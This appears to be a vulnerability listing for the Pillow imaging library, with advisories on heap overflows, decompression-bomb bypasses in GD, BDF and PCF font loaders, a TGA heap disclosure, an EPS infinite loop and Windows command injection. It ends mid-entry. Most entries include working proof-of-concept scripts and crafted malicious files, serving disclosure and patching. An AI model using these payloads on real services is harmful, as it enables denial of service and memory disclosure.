ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region

On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:

double free or corruption (out)
Aborted (core dumped)

Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090

Suggested fix

Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
arithmetic or a wider type before calculating widths and clipped endpoints.

For example, reject boxes whose endpoint subtraction cannot be represented
cleanly, and clip using non-overflowing comparisons:

int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;

if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
    return ImagingError_ValueError("bad box");
}

ImagingCrop() should receive the same treatment for sx1 - sx0,
dx0 = -sx0, and dx1 = imIn->xsize - sx0.

Impact

This is a heap out-of-bounds write in Pillow's native C extension, reachable
through documented public image APIs.

Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct Image.paste() variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For RGBA, the write is a backward heap underwrite whose
offset and length are both 4 * source_width, bounded in practice by successful
image allocation and heap layout.

high 7.5: CVE--2026--55380 Memory Allocation with Excessive Size Value

Affected range<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.361%
EPSS Percentile28th percentile
Description

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field Value
Maximum width from header 65,535 (unsigned 16-bit)
Maximum height from header 65,535 (unsigned 16-bit)
Maximum pixel count 65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold 178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio 24× above DecompressionBombError threshold
Memory at max dimensions ≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size 1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

# Build minimal 1037-byte GD 2.x palette-mode header:
#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

# Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

Path File size Effect
Transient (header only) 1,037 bytes load_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data) ~4.3 GB load() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

from PIL import GdImageFile

# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation

Impact

  • Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
  • Confidentiality: None
  • Integrity: None
  • Authentication required: No — any public endpoint accepting image uploads is affected
  • User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

high 7.5: CVE--2026--55379 Memory Allocation with Excessive Size Value

Affected range<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.364%
EPSS Percentile29th percentile
Description

Summary

PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88):

# width, height from attacker-controlled "BBX width height x y" line
try:
    im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
    # TRIGGERED when BITMAP section is empty (zero hex lines)
    im = Image.new("1", (width, height))   # ← NO _decompression_bomb_check()!
    # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes):

STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")

from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()

print(f"[*] BDF file size  : {len(bdf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

BdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!

print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f"    Image.open() path would have raised DecompressionBombError")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size  : 270 bytes
[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
    Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact

  • Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
  • Confidentiality: None
  • Integrity: None
  • Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
  • Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected

high 7.5: CVE--2026--54060 Memory Allocation with Excessive Size Value

Affected range<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.361%
EPSS Percentile28th percentile
Description

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

def compile(self) -> None:
    if self.bitmap:
        return

    h = w = maxwidth = 0
    lines = 1
    for glyph in self.glyph:              # up to 256 glyph slots
        if glyph:
            d, dst, src, im = glyph
            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled
            w = w + (src[2] - src[0])
            if w > WIDTH:                  # WIDTH = 800
                lines += 1
                w = src[2] - src[0]
            maxwidth = max(maxwidth, w)

    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960

    if xsize == 0 and ysize == 0:
        return

    self.ysize = h
    # NO _decompression_bomb_check() here ←
    self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation

"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:

Metric Per-glyph (800 × 875) Combined bitmap (256 glyphs)
Pixel count 700,000 179,200,000
DecompressionBombWarning threshold (89.4M) 0.008× — no warning 2.0× — above warning
DecompressionBombError threshold (178.9M) 0.004× — no error 1.001× — above error

With PCF-maximum glyph height (65,535):

Metric Value
lines 256 (one per glyph slot, width=800 forces a wrap every glyph)
h (max glyph height) 65,535
xsize 800
ysize = lines × h 256 × 65,535 = 16,776,960
Total pixels 800 × 16,776,960 = 13,421,568,000
Ratio vs. DecompressionBombError threshold 75×
Memory (mode "1", 1 bit/pixel) ~1.6 GB

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image

MAX_GLYPHS = 256
GLYPH_W    = 800
GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold

class MockFont(FontFile.FontFile):
    def __init__(self):
        super().__init__()
        # Each glyph is individually safe (700K px < 89.4M warning)
        im = Image.new("1", (GLYPH_W, GLYPH_H))
        for i in range(MAX_GLYPHS):
            self.glyph[i] = (
                (GLYPH_W, GLYPH_H),
                (0, -GLYPH_H, GLYPH_W, 0),
                (0, 0,        GLYPH_W, GLYPH_H),
                im,
            )

# Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
    Image._decompression_bomb_check(combined_size)
    print("[FAIL] bomb check did not raise — unexpected")
except Image.DecompressionBombError as e:
    print(f"[OK] bomb check WOULD block {combined_size}: {e}")

# Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile()   # → Image.new("1", (800, 224000)) — no error raised

px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f"         No DecompressionBombError raised at any point.")

Expected output:

[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
         pixels=179,200,000  (1.001× DecompressionBombError threshold)
         No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file:

from PIL import BdfFontFile
import io

# Load a crafted BDF font with 256 glyphs each claiming height=65535
# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios:

Scenario Effect
Web font preview (BdfFontFile(upload).to_imagefont()) DoS with crafted .bdf upload
Server-side font renderer that loads PCF → to_imagefont() OOM crash
Font pipeline: load → render text One malicious font file kills the process

Impact

  • Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
  • Confidentiality: None
  • Integrity: None

Affected call paths:

  • BdfFontFile.BdfFontFile(fp).to_imagefont()FontFile.compile()
  • BdfFontFile.BdfFontFile(fp).save(filename)FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).to_imagefont()FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).save(filename)FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

high 7.5: CVE--2026--54059 Memory Allocation with Excessive Size Value

Affected range<12.3.0
Fixed version12.3.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.354%
EPSS Percentile28th percentile
Description

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

for i in range(nbitmaps):
    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
    b, e = offsets[i : i + 2]
    bitmaps.append(
        Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
        # ↑ NO _decompression_bomb_check()!
    )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

  • Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
  • Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size  : 148 bytes
[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
    C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF file Glyph dims C-heap (mode '1') Bomb check
148 bytes 14000 × 14000 23 MB (transient) Bypassed
148 bytes 65535 × 131070 1.07 GB (transient) Bypassed
~512 MB 65535 × 131070 1.07 GB (persistent) Bypassed

Impact

  • Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
  • Confidentiality: None
  • Integrity: None
  • Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
  • PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
  • Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07

medium 6.5: CVE--2026--59198 Out-of-bounds Read

Affected range>=5.2.0
<12.3.0
Fixed version12.3.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L
EPSS Score0.313%
EPSS Percentile23rd percentile
Description

Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

im.save(out, format="TGA", compression="tga_rle")

Older affected Pillow versions use the equivalent public option rle=True.

For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.

The maximum valid TGA width is 65535. At that width:

allocated packed row buffer: 8192 bytes
encoder byte-offset walk:     65535 bytes
maximum OOB window per row:   57343 bytes

On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().

Details

src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.

src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:

state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);

For mode "1", state->bits == 1.

src/libImaging/TgaRleEncode.c then computes:

bytesPerPixel = (state->bits + 7) / 8;

This becomes 1, and the encoder uses pixel indexes as byte offsets:

static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
    buf += x * bytesPerPixel;
    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}

The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:

memcpy(
    dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);

A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.

PoC

Minimal ASAN trigger

import io
from PIL import Image

out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage

Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are avoided because they mostly repeat the same adjacent heap window.

Run the following with a standard affected Pillow installation.

import hashlib
import io
import PIL
from PIL import Image

WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES

def extract_oob_payload(data):
    i = 18
    pixel = 0
    oob = bytearray()

    while pixel < WIDTH:
        descriptor = data[i]
        i += 1
        count = (descriptor & 0x7F) + 1

        if descriptor & 0x80:
            value = data[i]
            i += 1
            if pixel + count - 1 >= ROW_BYTES:
                oob.append(value)
        else:
            values = data[i : i + count]
            i += count
            oob.extend(values[max(ROW_BYTES - pixel, 0) :])

        pixel += count

    return bytes(oob)


best = b""

for _ in range(ATTEMPTS):
    out = io.BytesIO()
    Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
    oob = extract_oob_payload(out.getvalue())
    if len(oob) > len(best):
        best = oob

with open("/tmp/max_oob_bytes.bin", "wb") as fp:
    fp.write(best)

print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")

Observed on installed Pillow 12.2.0:

Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%

Impact

This is a heap out-of-bounds read and potential information disclosure.

A maximum-width single-row image can cause nearly the full
57343-byte adjacent heap window to be incorporated into one output file.

medium 5.3: CVE--2026--59203 Loop with Unreachable Exit Condition ('Infinite Loop')

Affected range>=12.0.0
<12.3.0
Fixed version12.3.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.390%
EPSS Percentile31st percentile
Description

Summary

Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.

The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.

Confirmed affected versions: Pillow 12.0.0 through 12.2.0.

Details

The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.

Relevant code:

elif bytes_mv[:14] == b"%%BeginBinary:":
    bytecount = int(byte_arr[14:bytes_read])
    self.fp.seek(bytecount, os.SEEK_CUR)

There is no validation that bytecount is non-negative.

If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.

In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.

PoC

Save the following content as pillow_eps_beginbinary_dos.eps:

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 1 1
%%EndComments
% dummy comment after transition
%%BeginBinary:-18
%%EOF

Then run:

python -m pip install "Pillow==12.2.0"

python - <<'PY'
from PIL import Image
Image.open("pillow_eps_beginbinary_dos.eps")
PY

Expected behavior: Pillow should reject the malformed EPS file with a parser exception.

Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.

The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:

LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94

Impact

This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().

This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.

Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).

medium 4.5: CVE--2026--55798 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Affected range<12.3.0
Fixed version12.3.0
CVSS Score4.5
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
EPSS Score0.136%
EPSS Percentile3rd percentile
Description

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.


2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

class WindowsViewer(Viewer):
    format = "PNG"
    options = {"compress_level": 1, "save_all": True}

    def get_command(self, file: str, **options: Any) -> str:
        return (
            f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
            "&& ping -n 4 127.0.0.1 >NUL "
            f'&& del /f "{file}"'                # ← same path, unescaped again
        )

    def show_file(self, path: str, **options: Any) -> int:
        if not os.path.exists(path):
            raise FileNotFoundError
        subprocess.Popen(
            self.get_command(path, **options),
